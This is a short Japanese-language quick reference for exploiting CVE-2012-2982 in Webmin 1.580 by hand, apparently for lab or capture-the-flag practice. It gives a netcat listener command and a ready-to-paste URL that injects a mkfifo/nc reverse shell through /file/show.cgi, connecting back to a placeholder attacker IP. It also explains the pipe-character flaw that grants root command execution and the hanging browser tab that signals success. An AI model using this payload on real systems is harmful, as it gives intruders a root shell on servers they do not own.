
ブラウザの URL バーを介した、Webmin 1.580 (CVE-2012-2982) 向けの手動・Metasploit 非使用・認証済みリモートコード実行 (RCE) エクスプロイト
Webmin 1.580 の /file/show.cgi コンポーネントを介して、認証済みリモートコード実行 (RCE) を実行するためのクイックリファレンスです。
ペイロードを実行する前に、ローカルマシンでこのコマンドを実行して受信接続を待ち受けます:
rlwrap nc -lnvp 4444
次の URL をブラウザのアドレスバーに直接貼り付けてください (事前に Webmin ダッシュボードにログインしていることを確認してください):
http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_ATTACK_IP> 4444 >/tmp/f|
注: <YOUR_ATTACK_IP> を実際のローカルまたはトンネル IP アドレスに置き換えることを忘れないでください。また、ターゲットの IP とポートも同様に置き換えてください。
脆弱性: /file/show.cgi 内の Perl の内部 open() 関数に渡されるインラインパス情報のサニタイズが不十分です。パイプ文字 (|) を追加することで、root 権限で任意のコマンドを実行できます。
認証: アクティブなセッションが必要です。URL ペイロードを送信すると、ブラウザがアクティブなセッション Cookie を送信して認証を自動的に処理します。
期待される動作: Enter キーを押すと、ブラウザのタブが回転し、無限にハングしているように見えます。これは、インタラクティブシェルセッションを維持するためにサーバースレッドが正常に乗っ取られたことを示しています。